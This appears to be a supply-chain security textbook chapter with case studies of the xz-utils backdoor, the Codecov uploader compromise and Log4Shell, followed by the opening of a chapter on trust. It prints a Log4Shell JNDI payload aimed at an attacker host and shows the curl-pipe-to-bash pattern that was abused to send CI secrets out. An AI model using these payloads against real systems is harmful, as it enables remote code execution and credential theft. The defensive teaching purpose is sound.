`xz` is a command-line compression utility built on the LZMA/LZMA2 algorithms; `liblzma` is the library underneath it. Both are part of the **xz-utils** project. If you have ever run `tar -J`, decompressed a `.xz` file, or installed a `.deb` or `.rpm`, you have almost certainly executed `liblzma` code. It is a foundational, boring, load-bearing piece of the Linux userland — exactly the profile of dependency that gets installed everywhere and thought about nowhere.

For most of its life, xz-utils was maintained by one person: **Lasse Collin** (online handle "Larhzu"), working largely alone and unpaid. This is not unusual. An enormous fraction of the software the world runs on top of is maintained by one or two volunteers with no commercial backing, no security team, and finite patience. That structural fragility is not incidental to the xz story — it is the attack surface the operation targeted.

The social-engineering campaign

The centerpiece of the xz incident is not the malware. It is the *acquisition of trust*. A persona operating as **Jia Tan**, using the GitHub handle **JiaT75**, began contributing to xz-utils and adjacent projects around 2021. The contributions started small and legitimate — the ordinary trickle of an aspiring open-source contributor — and escalated over roughly two to three years into deep involvement in the project.

Running in parallel was a pressure campaign. Beginning around mid-2022, accounts posting as **Jigar Kumar** and **Dennis Ens** appeared on the xz mailing lists. Their messages followed a consistent pattern: they complained about the slow pace of xz development, about unmerged patches, and about Collin's responsiveness, and they pushed — sometimes bluntly — for the project to add a co-maintainer. These accounts have no independent footprint elsewhere; they exist, in the public record, essentially only to apply this pressure. They are widely assessed to be sockpuppets operated in coordination with the Jia Tan persona, though as with attribution generally, this is inference from behavior rather than a confirmed fact.

The pressure landed on a person who had, in his own words on the list, been dealing with limited time and long-term health issues, and who was clearly stretched. In a message that has become emblematic of the whole affair, Collin wrote that he had "not lost interest but my ability to care has been fairly limited" and noted that xz-utils had for some time been mostly a one-person project. The sockpuppets used exactly this opening — "you are overloaded, you need help, here is a capable, eager contributor" — to manufacture a case for handing authority to Jia Tan.

It worked. Over 2022 and 2023, Jia Tan's role expanded from contributor to trusted co-maintainer. By 2023 Jia Tan was merging changes, was listed in contact/security information for the project, and — critically — was in a position to *cut releases*. The attacker had converted a burned-

out volunteer's need for help into legitimate release authority over a library on nearly every Linux system on the planet.

```
flowchart TD
    A["~2021: 'JiaT75' begins small, legitimate contributions to xz and adjacent projects"] --> B["2022: trust accrues; Jia Tan becomes a regular contributor"]
    B --> C["Mid-2022: sockpuppets 'Jigar Kumar' and 'Dennis Ens' appear on the mailing list"]
    C --> D["Pressure campaign: complaints about slow development; demands for a co-maintainer"]
    D --> E["Lasse Collin, burned out and time-limited, is pushed toward sharing the load"]
    E --> F["2022-2023: Jia Tan elevated to co-maintainer with merge authority"]
    F --> G["2023: Jia Tan gains effective release authority (can cut and sign release tarballs)"]
    G --> H["Feb-Mar 2024: backdoor staged and shipped in xz 5.6.0 (Feb 24) and 5.6.1 (Mar 9) tarballs"]
```

Notice how little of this is technical. There is no exploit in the social-engineering phase, no vulnerability, nothing a scanner could flag. The entire first act of the operation is a study in human factors: identify a critical, under-resourced project; find the one exhausted person holding it up; and apply patient, coordinated social pressure until the project's governance yields. From a threat-modeling standpoint, the lesson is uncomfortable: the "contributor onboarding and trust" process of an open-source project is a security-critical control surface, and for most projects it is entirely informal.

The payload: where the backdoor actually lived

The technical elegance of the xz backdoor is in how thoroughly it avoided the places people look. A reviewer reading the xz git repository would not find malicious C code. That is the first and most important fact about this attack, and it is the one with the broadest lesson: **the compromised artifact was the release tarball, not the version-control tree.**

Open-source C projects using the GNU Autotools build system have a long-standing convention: the *release tarball* is not a verbatim snapshot of git. It is generated by running `autoreconf / make dist`, which produces a `configure` script and various generated build files and bundles them alongside the source. Downstream distributions overwhelmingly build

from these tarballs, not from a fresh `git clone`, precisely because the tarball is supposed to be the blessed, self-contained, reproducible-by-convention release. That convention — the gap between what is in git and what is in the tarball a distro actually compiles — is the crack the payload lived in.

The backdoor was assembled from several pieces that were individually innocuous:

1. **The binary "test" files.** The xz test suite legitimately contains a collection of `.xz` files used to exercise the decompressor against malformed and edge-case inputs — corrupt streams, truncated data, and so on. Binary test fixtures for a *compression library* are entirely normal; nobody reviews the byte contents of a corrupt-input corpus, because by definition they are supposed to look like garbage. Jia Tan added crafted files to this corpus (notably `tests/files/bad-3-corrupt_lzma2.xz` and `tests/files/good-large_compressed.lzma`). These were not really test data. They were the backdoor's payload, compressed and lightly obfuscated, hiding in plain sight among legitimate junk.
2. **The build-script injection.** The release tarball's build machinery was doctored to assemble the payload during compilation. The key vehicle was `build-to-host.m4` — an Autotools/gettext macro file that was present in the *tarball* but not committed in the corresponding form to git. During `./configure`, this modified macro executed a chain of shell that located the crafted test files, decompressed and de-obfuscated them (a sequence of `tr`, `head`, `tail`, and `xz` invocations, gated on the build being a Linux `x86-64` GNU/`gcc` target under `deb/rpm` packaging), and extracted a hidden script. That script in turn arranged for a malicious object file to be built and linked into `liblzma`.
3. **The linked-in object code.** The net effect was that when a distribution built xz 5.6.0 or 5.6.1 from the release tarball, on a matching target, the compiled `liblzma.so` quietly contained attacker-controlled machine code that was never visible in any `.c` file a human reviewed.

```

flowchart TD
    A["git repo: clean-looking C source,  
no obvious backdoor"] -->| "Jia Tan cuts release" | B["Release tarball  
5.6.0 / 5.6.1"]
    B --> C["Crafted binary .xz test fixtures  
(obfuscated payload, look like corrupt-input tests)"]
    C --> D["Modified build-to-host.m4  
(in tarball, NOT in git)"]
    D -->| "runs during ./configure" | E["Shell chain: locate,  
decompress,  
de-obfuscate test fixtures"]
    E --> F["Extracted hidden build script"]
    F --> G["Malicious object code compiled  
and linked into liblzma.so"]
    G --> H["Distro package for xz-utils / liblzma"]

```

Every step was designed to be boring at the point a human might inspect it. Binary blobs in a compression test suite: expected. An extra `.m4` macro in an Autotools tarball: expected. Shell in `configure`: nobody reads generated `configure` output. The attack's genius was not any single obfuscation but the systematic choice to hide each stage in a location whose contents are, by convention, not reviewed.

From liblzma to sshd: the runtime hook

A backdoor in a compression library is only interesting if it reaches something worth attacking. The target was **OpenSSH's `sshd`**, and the path to it runs through a piece of Linux packaging trivia.

Upstream OpenSSH does not link against `liblzma`. But several major distributions — notably Debian and its derivatives, and Fedora/Red Hat — patch `sshd` to integrate with **systemd**, so that the service can notify `systemd` of its readiness (`sd_notify`) and participate in socket activation. That integration links `sshd` against **libsystemd**. And `libsystemd`, in turn, has a dependency chain that pulls in `liblzma` (`systemd` uses `xz` compression for, among other things, journal data). So on these patched distributions, `liblzma` — and therefore the backdoor — ended up loaded into the address space of the very first process that greets a remote, unauthenticated attacker: the SSH daemon.

Once resident in `sshd`, the malicious code manipulated the process's runtime symbol resolution. Using the **GNU indirect function (IFUNC)** mechanism — a legitimate glibc feature for selecting an implementation

of a function at load time — the payload installed itself into the resolution path and hooked into OpenSSH's authentication-related crypto, specifically the RSA public-key verification path (`RSA_public_decrypt` and related symbols). The hook inspected incoming authentication material; a remote party in possession of the correct attacker private key could embed a signed, encrypted command payload in the certificate/key presented during the SSH handshake, which the backdoor would extract and execute — **before authentication completed**. The result was pre-authentication remote code execution as `sshd` (typically `root`), gated by a key only the attacker held.

```
flowchart LR
    A["Remote attacker  
with private key"] -->|"crafted SSH auth material"| B["sshd  
(patched distro)"]
    B --> C["libsystemd  
(sd_notify integration)"]
    C --> D["liblzma  
(backdoored 5.6.0/5.6.1)"]
    D --> E["IFUNC hook into RSA_public_decrypt  
/ symbol resolution path"]
    E --> F["Extract & verify attacker payload  
against embedded key"]
    F --> G["Pre-auth command execution  
as sshd (root)"]
```

Two design choices in the runtime hook deserve emphasis, because they show the same discipline as the build-time staging. First, the backdoor was **keyed**: it was not a generic "anyone can log in" bypass but a private-key-gated capability, meaning that even someone who *found* the backdoor could not trivially use it without the attacker's key. This is operational security for the *backdoor itself* — it protects the asset from being commandeered by third parties. Second, the code included **environment and context checks** (is this an `sshd` process, is this a package build, is the target the expected architecture) so the payload stayed dormant and quiet outside the precise conditions it cared about, reducing the chance of tripping over unexpected behavior in the wild.

The discovery: a latency regression and a stroke of luck

The backdoor was found on **March 29, 2024**, by **Andres Freund**, a PostgreSQL developer who works at Microsoft. He was not doing security research on xz. He noticed that SSH logins on a Debian `unstable` (`sid`)

system had become measurably slower — on the order of ~500ms of added latency — and that `sshd` was consuming unexpected CPU. Separately, he had seen Valgrind produce errors related to `liblzma` under automated testing. Being the kind of engineer who does not let an unexplained half-second go, he pulled the thread: profiled the process, traced the slowdown into `liblzma`'s peculiar symbol behavior, and eventually reconstructed enough of the mechanism to realize he was looking at a deliberate backdoor. He disclosed it publicly, with analysis, on the openwall `oss-security` list that day.

It is important to be honest about what this discovery represents. It was **not** a control working. No scanner flagged the tarball; no reproducible-build check caught the divergence from git; no SBOM tooling raised an alarm. The backdoor was found because one unusually capable person was bothered by a performance regression and happened to have both the skill and the stubbornness to chase it into the crypto internals of `sshd`. The timing compounds the luck: the backdoored 5.6.0 (February 24, 2024) and 5.6.1 (March 9, 2024) releases had reached rolling and testing distributions — Debian sid, Fedora Rawhide/40 betas, openSUSE Tumbleweed, Kali, some Arch derivatives — but had **not** yet propagated into the stable enterprise releases (Debian stable, RHEL, Ubuntu LTS) where they would have sat, exploitable, across a vast installed base for years. A few more weeks of quiet and the operation would have graduated into the software supply chain's most sensitive tier. That it did not is a matter of weeks and one engineer's curiosity, not of any systemic defense.

What xz teaches

The lessons compound, and each points forward to controls developed later in the series.

- **Source ≠ tarball.** The single most transferable lesson: what a project publishes as its "release" may differ from its version-control history, and the difference is exactly where an implant can live. Building from a verified VCS checkout — or, better, **reproducible builds** that let anyone confirm the published artifact matches what the source produces — would have exposed the divergence. This is the motivation for the provenance and reproducibility work in Book 4 (Chapters 2-3) and for building distro packages from source rather than from opaque tarballs.

- **The maintainer-burnout vector is a real, exploitable attack surface.** Contributor trust is a security control, and for most projects it is unmanaged. Who has merge rights? Who can cut a release? How is a new co-maintainer vetted? These governance questions — covered in Book 7 on open-source ecosystem risk — are as security-relevant as any technical hardening.
- **Test fixtures and other "non-code" artifacts are hiding places.** Any file a reviewer is culturally trained to skip — binary blobs, generated files, minified assets, fixtures — is a candidate for hiding a payload. Review discipline has to account for what does *not* get read.
- **Critical infrastructure maintained by one unpaid person is a structural risk to everyone downstream.** This is not a moral observation; it is a threat model. The economics of open source concentrate enormous dependency weight on volunteers with no security resources, and adversaries have noticed.
- **Attribution is hard and should not be overclaimed.** The patience (multi-year), the discipline (keyed, environment-gated payload), and the coordinated sockpuppetry point strongly to a well-resourced, likely state-aligned actor. But as of this writing there is no public, conclusive attribution to a named group or government. Say what is known; label the rest as assessment.

Codecov: the shared tool that ran everywhere

What Codecov is, and the shape of the exposure

Codecov is a widely used code-coverage reporting service. The mechanism relevant here is its **Bash Uploader**: a shell script that customers ran inside their CI pipelines to gather coverage reports and upload them to Codecov. The canonical integration was exactly the `curl | bash` pattern — fetch the script from Codecov's servers at pipeline runtime and pipe it straight into a shell:

```
# The integration pattern at the heart of the incident:
curl -s https://codecov.io/bash | bash
```

Read that line as a security engineer and the problem is immediate. Every CI run fetched *whatever script Codecov was serving at that moment* and executed it, with the full privileges and — crucially — the full environment of the CI job. CI environments are among the most

secret-rich contexts in any organization: they hold deploy keys, cloud credentials, registry tokens, signing keys, API tokens, and more, typically injected as **environment variables**. A script running in that context can simply read `env` and see all of it.

The mechanism

Codecov's own disclosure and subsequent reporting describe the chain as follows. Because of an **error in Codecov's Docker image creation process**, a credential was exposed that allowed the attackers to extract Codecov's own upload/deployment credentials and gain the ability to **modify the Bash Uploader script hosted on Codecov's infrastructure**. They did not need to compromise every customer; they needed only to alter the one script that every customer fetched.

The modification was small and targeted. The altered uploader added a line that collected the environment variables from the customer's CI runner and sent them — via `curl` — to a **remote server controlled by the attackers**. In effect, every CI pipeline that ran the uploader during the compromise window quietly shipped its secrets to a third party, as a side effect of collecting coverage.

```
sequenceDiagram
    participant Atk as Attacker
    participant Docker as Codecov Docker image build
    participant CI as Codecov infra - hosts uploader
    participant Cust as Customer CI pipeline
    participant Exf as Attacker server
    Atk->>Docker: Extract credential exposed by image build error
    Docker-->>Atk: Codecov deployment credential
    Atk->>CI: Modify hosted Bash Uploader script
    Note over CI: Altered script now serves to all customers
    Cust->>CI: curl -s https://codecov.io/bash | bash
    CI-->>Cust: Serves modified uploader
    Cust->>Cust: Script reads CI environment variables
    Cust->>Exf: curl POST env vars (tokens, keys, secrets)
    Note over Cust,Exf: Repeats on every CI run for ~2+ months
```

Timeline and detection

The alteration was in place from roughly **late January 2021** and persisted until it was caught on **April 1, 2021** — a dwell time of more than two months, during which every affected pipeline leaked its environment on every run. As with xz, detection did not come from a

purpose-built control on the victim side. A **customer noticed a hash mismatch**: they compared the checksum of the script Codecov was serving against the version published in Codecov's GitHub repository, saw that they differed, and raised the alarm. Codecov investigated, confirmed the compromise, rotated the exposed credentials, and disclosed.

Because the leaked material was *other organizations' secrets*, the blast radius was inherently a fan-out: any credential that had passed through an affected CI environment during the window had to be treated as compromised and rotated. That is a large, ill-defined set — precisely the kind of "we don't know exactly what leaked, so rotate everything that could have" incident that consumes weeks of engineering time across many downstream organizations for a compromise none of them caused.

What Codecov teaches

- **CI is a secret-rich, high-value target.** The pipeline is where code, credentials, and production access all meet. Treat CI secrets with the same rigor as production secrets: scope them tightly, prefer short-lived/OIDC-federated credentials over long-lived tokens, and assume any tool that runs in CI can read everything CI can see. Book 4, Chapter 6 covers CI/CD hardening and secret hygiene in depth.
- **curl | bash of a remotely hosted script is an anti-pattern.** It grants the script's host the ability to change what your pipeline executes, at any time, with no review and no integrity check. The remote host becomes an unversioned, unaudited dependency with code execution in your environment.
- **Integrity checking would have closed the gap.** Pinning to a specific version and verifying a checksum — or using Subresource Integrity-style hashing, signature verification, or vendoring the script into your own repo — turns "whatever they're serving now" into "the exact bytes I reviewed." The detection itself was, tellingly, a manual hash comparison; making that check *mandatory and automatic* is the control.
- **A tool that runs inside everyone's pipeline is a fleet-wide dependency.** Codecov's own breach became thousands of other organizations' breach because of where its code executed. When you adopt a CI-embedded tool, you are extending your trust boundary to

include that vendor's security posture and their ability to change their code under you.

Log4Shell: the vulnerability you couldn't find

Framing: this is not an attack

It is essential to frame Log4Shell correctly, because it is frequently — and incorrectly — lumped in with the implant cases. **No one implanted Log4Shell.** There is no malicious maintainer, no compromised build, no exfiltration. **Apache Log4j** is a legitimate, enormously popular Java logging library, developed in the open by the Apache Software Foundation. **CVE-2021-44228** is a *vulnerability* in it — a genuine, unintentional security flaw in a feature that turned out to be far more dangerous than anyone had appreciated.

So why is it in a supply chain security book? Because Log4Shell is the canonical illustration of the supply chain's **response** problem. The attack, once public, was trivial. The hard part — the part that consumed the industry for weeks — was answering a question that sounds like it should be easy: "*Do I have log4j-core, and where?*" For most organizations, the honest answer was "we have no idea," and that inability is a supply chain failure independent of any attacker.

The vulnerability mechanism

Log4j supports **message lookup substitution**: special `${...}` syntax inside a logged string that Log4j expands at logging time. Among the supported lookups was **JNDI** (the Java Naming and Directory Interface), via `${jndi:...}`. JNDI can resolve names against directory services including **LDAP** and **RMI**, and — this is the fatal part — resolving a JNDI/LDAP reference could cause the JVM to **fetch and instantiate a remote Java class**.

Chain those facts together:

1. An application logs a string that includes attacker-controlled input. This is *ubiquitous* — applications log usernames, User-Agent headers, HTTP paths, chat messages, form fields, essentially any input, constantly.
2. The attacker's input contains `${jndi:ldap://attacker.com/a}`.

3. Log4j's lookup substitution evaluates it, performs a JNDI lookup against the attacker-controlled LDAP server, retrieves a reference to a remote class, and the JVM loads and executes it.

The result is unauthenticated remote code execution, triggered by nothing more than getting a target to *log a string you control*. Proof-of-concept exploitation was as simple as setting a `User-Agent` header to a JNDI string and watching the target reach out to your server.

flowchart TD

```
A["Attacker sends input containing  
{jndi:ldap://attacker.com/x}"] --> B["Vulnerable app logs the string  
(User-Agent, path, form field, ...)"]  
B --> C["Log4j message lookup substitution  
evaluates the {jndi:...} expression"]  
C --> D["JNDI lookup to attacker LDAP/RMI server"]  
D --> E["Server returns reference to a remote Java class"]  
E --> F["JVM fetches and instantiates the class"]  
F --> G["Remote code execution  
in the application's context"]
```

The vulnerability was disclosed publicly on **December 9-10, 2021**, and mass scanning and exploitation began almost immediately — the barrier to entry was so low that opportunistic exploitation was global within hours.

Why finding it was the hard part

Now the distributed-systems reality. `log4j-core` is not something most teams depend on directly and deliberately. It arrives as a **transitive dependency** — pulled in by a framework, which is pulled in by another library, several levels deep in the dependency graph. Worse, in the JVM ecosystem it is routinely **shaded** (repackaged under a renamed namespace inside another artifact) and bundled into **fat/uber JARs** where it loses its identity as a discrete dependency entirely. A `log4j-core` class can be sitting inside a vendor's opaque application JAR, inside a container image, on a host you forgot you were running, with no `pom.xml` entry that names it.

So the question "am I affected, and where?" decomposes into a genuinely hard inventory problem across a large fleet:

- Which of my hundreds of services bundle a vulnerable `log4j-core` directly or transitively?

- Which vendor appliances and third-party JARs in my environment embed it, shaded or fat-jarred, where a dependency-manifest scan won't see it?
- Which running containers and hosts have a vulnerable version *loaded*, as opposed to merely present on disk?

Organizations that had a **Software Bill of Materials (SBOM)** — a complete, queryable inventory of every component in every artifact they shipped and ran — could answer the first two questions in minutes: query the SBOM corpus for `log4j-core` in the affected version range, get a list of exactly which artifacts and services to patch. Organizations without one — the overwhelming majority in December 2021 — were reduced to `find / -name 'log4j*'`, grepping JARs for the vulnerable classes, and chasing vendors for statements. The gap between those two experiences is the entire argument for SBOMs, and Log4Shell is the incident that moved SBOMs from a compliance checkbox to an operational necessity. This is the direct motivation for Book 3, which develops SBOM formats (SPDX, CycloneDX) and inventory practice.

The exploitability nuance and the CVE cascade

Two refinements matter for accuracy and for how you'd actually triage this.

First, **not every deployment was equally exploitable**. Reachability mattered: the flaw is only exploitable if attacker-controlled data actually reaches a vulnerable Log4j lookup. Configuration mattered too — certain versions and settings changed the risk, and some mitigations (removing the `JndiLookup` class, disabling lookups) reduced exposure without a full upgrade. "I have the vulnerable JAR on disk" and "I am exploitable" are different claims, and the ability to distinguish them — **reachability analysis** — is what separates a frantic patch-everything scramble from a prioritized response. Book 2, Chapter 7 develops reachability analysis precisely because Log4Shell showed how much noise a naïve "you have the package" scan generates.

Second, the fix was **not a single clean patch**. The initial fix was incomplete, and the remediation played out as a cascade of follow-on CVEs over several weeks:

CVE	Roughly	Nature
CVE-2021-44228	Dec 9-10, 2021	The original JNDI lookup RCE ("Log4Shell")
CVE-2021-45046	Dec 2021	Initial fix incomplete; further issue (DoS, and RCE in some non-default configs)
CVE-2021-45105	Dec 2021	Denial of service via uncontrolled recursion in self-referential lookups
CVE-2021-44832	Dec 2021	RCE via attacker-controlled JDBC Appender configuration (requires config write access)

The practical consequence: teams that patched to the first "fixed" version had to patch again, and in some cases again. Apache's guidance converged on upgrading to a version at the end of that chain (2.17.1 addressed 44832). For anyone running the incident, this cascade is its own lesson — "we patched Log4j" was a moving target for weeks, and without an inventory you could not even track which of your services were on which version at any given moment.

What Log4Shell teaches

- **A known-vulnerable transitive dependency you didn't know you had is a supply chain problem — even with no attacker in your chain.** The failure is one of *visibility and inventory*, and it is squarely a supply chain security concern.
- **SBOMs turn an emergency inventory hunt into a query.** The difference between minutes and weeks of response time is whether you built the inventory *before* you needed it.
- **Presence is not exploitability.** Reachability analysis prioritizes response and avoids drowning teams in findings for code paths attackers can't reach.
- **Fixes cascade.** Latent flaws in ubiquitous dependencies rarely resolve in one patch; plan for a moving remediation target and, again, for the inventory that lets you track it.

Distributed-systems lens

Each of these incidents lands differently, and harder, at scale.

The inventory problem (Log4Shell). In a single application, "do I use Log4j?" is a `grep` on a `pom.xml`. Across a platform of hundreds of services owned by dozens of teams, built in several languages, deployed as thousands of container images to fleets of hosts, it is a research project. The organizations that survived Log4Shell calmly were the ones who had already made component inventory a *property of their build system* — every artifact emits an SBOM at build time, SBOMs are stored and queryable, and "which running services contain component X in version range Y" is a database query, not an expedition. The ones that did not spent December 2021 doing archaeology under fire. The distributed-systems takeaway is that inventory is not something you can produce reactively at fleet scale; it has to be a byproduct of how you build and deploy, established before the incident that needs it.

CI tools as fleet-wide dependencies (Codecov). In a distributed organization, the same handful of CI tools run in *every* pipeline across *every* team. That uniformity is operationally convenient and a security liability: a single compromised CI-embedded tool has a blast radius equal to your entire engineering organization's secret material. The mitigation is architectural — minimize what any single tool can see (scoped, short-lived, per-pipeline credentials rather than broad standing tokens), pin and integrity-check anything you execute in CI, and treat the set of things your pipelines fetch-and-run as a first-class dependency inventory in its own right.

Your most critical dependency may be one exhausted volunteer (xz). At scale you depend on thousands of open-source components, and the dependency *weight* is wildly unevenly distributed. Some of the most load-bearing — compression, TLS, serialization, time-zone data — are maintained by one or two unpaid people. You cannot audit the mental state of every maintainer in your dependency graph, but you can (a) know which dependencies are load-bearing enough to warrant attention, (b) support and, where possible, fund the critical ones, (c) build from verifiable source with reproducible builds so a divergence between a project's public history and its shipped artifact is *detectable*, and (d) participate enough in critical projects that a hostile governance takeover is harder to accomplish unnoticed. The structural fragility xz exposed is a property of the ecosystem you are standing on, whether or not you choose to look at it.

Synthesis: three shapes, three control families

Putting the three incidents beside each other clarifies why supply chain defense cannot be a single control.

Dimension	xz-utils (CVE-2024-3094)	Codecov Bash Uploader	Log4Shell (CVE-2021-44228)
Failure mode	Deliberate long-con implant	Compromised shared CI tool	Latent ecosystem vulnerability
Attacker in your chain?	Yes — malicious maintainer	Yes — via compromised vendor	No — unintentional flaw
Where it lived	Release tarball test fixtures + build script	Remotely hosted uploader script	A feature (JNDI lookups) in a ubiquitous library
Primary target	OpenSSH pre-auth RCE	Customers' CI secrets	Any app logging attacker input
How it was found	One engineer chasing 500ms latency	Customer noticed script hash mismatch	Public disclosure; instant mass exploitation
Dwell / exposure	~2-3 yr social eng.; caught before stable distros	~2+ months undetected	Latent for years; weaponized in hours
Attribution	Unconfirmed; assessed sophisticated/likely state-aligned	Not publicly attributed to a named actor	N/A — no attacker
Primary control family	Build-from-source, reproducibility, contributor trust	Script integrity, CI secret hygiene	SBOM + reachability
Developed in	Book 4 Ch 2-3; Book 7	Book 4 Ch 6	Book 3; Book 2 Ch 7

The mapping is the actionable part. **xz** argues for building from verifiable source with reproducible builds (so the source-versus-tarball divergence becomes detectable) and for treating contributor and maintainer trust as a managed security control — the reproducibility and provenance work of

Book 4 (Chapters 2-3) and the open-source ecosystem governance of Book 7. **Codecov** argues for script integrity (pin and verify, never `curl | bash` a mutable remote) and CI secret hygiene (scoped, short-lived credentials; minimal tool privilege) — the CI/CD hardening of Book 4, Chapter 6. **Log4Shell** argues for comprehensive, queryable inventory (SBOMs, Book 3) and for reachability-aware prioritization (Book 2, Chapter 7) so that when — not if — the next latent flaw in a ubiquitous dependency surfaces, you can answer "where am I affected, and where does it actually matter?" in minutes.

No single one of these controls would have caught more than one of these incidents. That is the closing lesson of the foundational case library: the supply chain has many independent failure modes, and a serious program defends against all of them at once.

Key takeaways

- The xz-utils backdoor (CVE-2024-3094, 2024) was the endpoint of a ~2-3 year social engineering campaign in which a "Jia Tan" (JiaT75) persona, aided by "Jigar Kumar" and "Dennis Ens" sockpuppets pressuring a burned-out solo maintainer (Lasse Collin), obtained co-maintainership and release authority over a near-universal Linux library.
- The xz payload was not visible in git: obfuscated payload bytes lived in binary `.xz test fixtures`, and a modified `build-to-host.m4` present only in the release *tarball* assembled malicious object code into `liblzma` during `./configure` — the definitive "source ≠ tarball" lesson.
- The xz backdoor reached `sshd` because some distros patch OpenSSH to link `libsystemd`, which pulls in `liblzma`; an IFUNC-based hook into the RSA public-key path enabled key-gated pre-authentication RCE. It targeted only Linux `x86-64 deb / rpm` builds and stayed dormant otherwise.
- xz was found on 2024-03-29 by Andres Freund via a ~500ms `sshd` latency regression and Valgrind errors — extraordinary luck, not a working control — and crucially before 5.6.0/ 5.6.1 reached stable enterprise distros. Attribution remains publicly unconfirmed; the "sophisticated, likely state-aligned" read is assessment, not established fact.

- The Codecov Bash Uploader compromise (late Jan - Apr 1, 2021) stemmed from a credential exposed by a Docker image build error, letting attackers alter the hosted uploader script to exfiltrate customers' CI environment variables (secrets/tokens/keys) for 2+ months; a customer's script-hash mismatch against GitHub exposed it. The root anti-pattern is `curl | bash` of a mutable remote script in a secret-rich CI context.
- Log4Shell (CVE-2021-44228, Dec 2021) is a *vulnerability*, not an attack: JNDI/LDAP lookup substitution in ubiquitous, often-transitive-and-shaded `log4j-core` yielded trivial unauthenticated RCE. The supply chain lesson is the *response* problem — "where do I even have this?" — and the fix cascaded through 45046 → 45105 → 44832.
- The three incidents are three distinct failure modes — deliberate implant, compromised shared tool, latent ecosystem flaw — mapping to three control families: build-from-source/ reproducibility and contributor trust (Book 4 Ch 2-3, Book 7); script integrity and CI secret hygiene (Book 4 Ch 6); and SBOM plus reachability analysis (Book 3, Book 2 Ch 7). No single control catches more than one.
- At distributed-systems scale, each incident is harder: fleet-wide component inventory has to be a build-time byproduct (Log4Shell), a CI-embedded tool's blast radius equals your whole org's secrets (Codecov), and your most load-bearing dependency may be one exhausted unpaid volunteer (xz).

Further reading

- Andres Freund, "backdoor in upstream xz/liblzma leading to ssh server compromise," openwall `oss-security` mailing list (March 29, 2024) — the original public disclosure.
- Filippo Valsorda, "The xz attack shell script" and follow-on analysis notes (late March / April 2024) — accessible reconstruction of the build-time payload assembly.
- Russ Cox, "Timeline of the xz open source attack" (April 2024) — a carefully sourced, citation-linked reconstruction of the social-engineering campaign.
- Thomas Roccia, "xz-utils backdoor" visual/technical diagrams (2024), and the community analyses collected at the `xz-utils` incident wikis maintained by the openwall and Debian communities.

- NIST National Vulnerability Database entry for CVE-2024-3094 (the xz-utils backdoor).
- Codecov, "Bash Uploader Security Update" (April 15, 2021) — the vendor's own disclosure of the Docker-image credential exposure and uploader modification.
- Apache Log4j Security Vulnerabilities advisory page (logging.apache.org) — authoritative descriptions of CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832 and the associated fixed versions.
- CISA guidance on Apache Log4j (December 2021 onward), including affected-product tracking and remediation direction.
- Forward references within this series: Book 2, Chapter 7 (reachability analysis); Book 3 (SBOMs — SPDX and CycloneDX); Book 4, Chapters 2-3 (reproducible builds and provenance) and Chapter 6 (CI/CD hardening and secret hygiene); Book 7 (open-source ecosystem risk and maintainer trust).

Chapter 6 — Trust, Threat Models, and the Economics of Supply Chain Risk

What this chapter covers. The first five chapters were largely descriptive: the anatomy of the chain, a taxonomy of attacks, and case studies of what actually went wrong. This chapter is where we stop cataloguing and start reasoning. It builds the analytical toolkit that the rest of the series uses without re-deriving: a precise notion of **trust**, a **threat model** adapted to the supply chain rather than borrowed wholesale from application security, and an **economic** frame for deciding where to spend a finite defensive budget. These three lenses are not independent. Trust defines what you are exposed to; the threat model defines who exploits that exposure and how; economics defines which of the resulting risks are worth paying to reduce, and in what order. Get the trust model wrong and your threat model has the wrong boundaries; get the economics wrong and you buy expensive controls that move the needle less than a free one you skipped.

Learning goals — after this chapter you should be able to:

- Define trust precisely as *accepting inputs you did not produce and cannot fully verify*, and explain why it is transitive, non-obvious, and impossible to eliminate — only relocate and reduce.
- Distinguish a **root of trust**, a **trust anchor**, and a **trust chain**, and separate the three distinct things you can trust: an **identity**, an **artifact**, and a **process**.
- Explain Ken Thompson's "Reflections on Trusting Trust" correctly, state its actual implication for verification, and describe diverse double-compilation as the practical (not theoretical) rebuttal.
- Build a supply chain threat model: name the actors and their capabilities, motivations, and favored chain stages; construct an attack tree for a concrete goal; and place verification gates along a pipeline under an assume-breach posture.
- Reason about the attacker/defender cost asymmetry that makes supply chain attacks economically attractive, and the open-source maintenance economics that create the softest upstream targets.
- Apply a usable risk-prioritization model — *criticality* × *exposure* × *exploitability* — and place candidate controls on a cost/value curve to decide what to buy first.

We will keep two deep topics deliberately shallow here because they get full treatment later: the mechanics of defeating trusting-trust (Book 7, Chapter 5 — Backdoors and Malicious Code) and the cryptographic machinery of roots of trust and trust chains (Book 5, Chapters 1 and 3). This chapter is about the *concepts*, so that when those books get mechanical, the vocabulary is already yours.

What trust actually means here

In casual use "trust" is a feeling — you trust a vendor, a maintainer, a tool. That is useless for engineering. The operational definition we use throughout the series is mechanical and unsentimental:

You trust a component when you accept inputs from it that you did not produce and cannot fully verify, and your integrity depends on the integrity of those inputs.

Every clause matters. *Inputs you did not produce*: if you wrote and compiled every line yourself on hardware you fabricated, you would trust nothing — and ship nothing. *Cannot fully verify*: trust is precisely the gap that verification does not close. When you `npm install` a package, you can verify its hash matches the lockfile, but you have not read and understood its code, so you are trusting its behavior. *Your integrity depends on it*: trust is only interesting where a betrayal hurts you. A dependency you import but whose code path is never reached is a smaller trust relationship than one that handles your auth tokens.

Under this definition, trust is not optional and not a weakness. It is the price of not rebuilding the universe from sand. The engineering question is never "how do we stop trusting" — that is incoherent — but "which things are we trusting, how much does each one's betrayal cost, and can we make the trust smaller, more accountable, or more verifiable?"

Trust is transitive and non-obvious

The property that makes supply chain trust dangerous, and different from most access-control reasoning, is **transitivity**. If you trust A, and A trusts B, you trust B — whether or not you have ever heard of B. Your service depends on a web framework; the framework depends on a YAML parser; the parser depends on a C library for its regex engine; that library was built by a compiler you did not choose on a CI runner you cannot see. You did not decide to trust the regex library — the decision was made for you, transitively, by a chain of maintainers each making a locally reasonable choice. This is why a modern application's *transitive* dependency count runs to the hundreds or thousands while its *direct* count is a few dozen: trust fans out multiplicatively, and almost all of it is invisible at the point of decision.

Transitivity is what turns a single upstream compromise into a fleet-wide event. The event-stream incident (Book 1, Chapter 4) worked because thousands of projects trusted `event-stream` directly, and it in turn came to trust a new, malicious sub-dependency (`flatmap-stream`) that almost none of those projects had ever evaluated. The trust was real, load-bearing, and — until the payload fired — completely non-obvious to the people relying on it. A trust relationship you cannot see is one you cannot govern, which is the whole motivation for the transparency mechanisms in Book 3 (SBOMs) and Book 5 (attestations): to make transitive trust legible.

Roots of trust, trust anchors, and trust chains

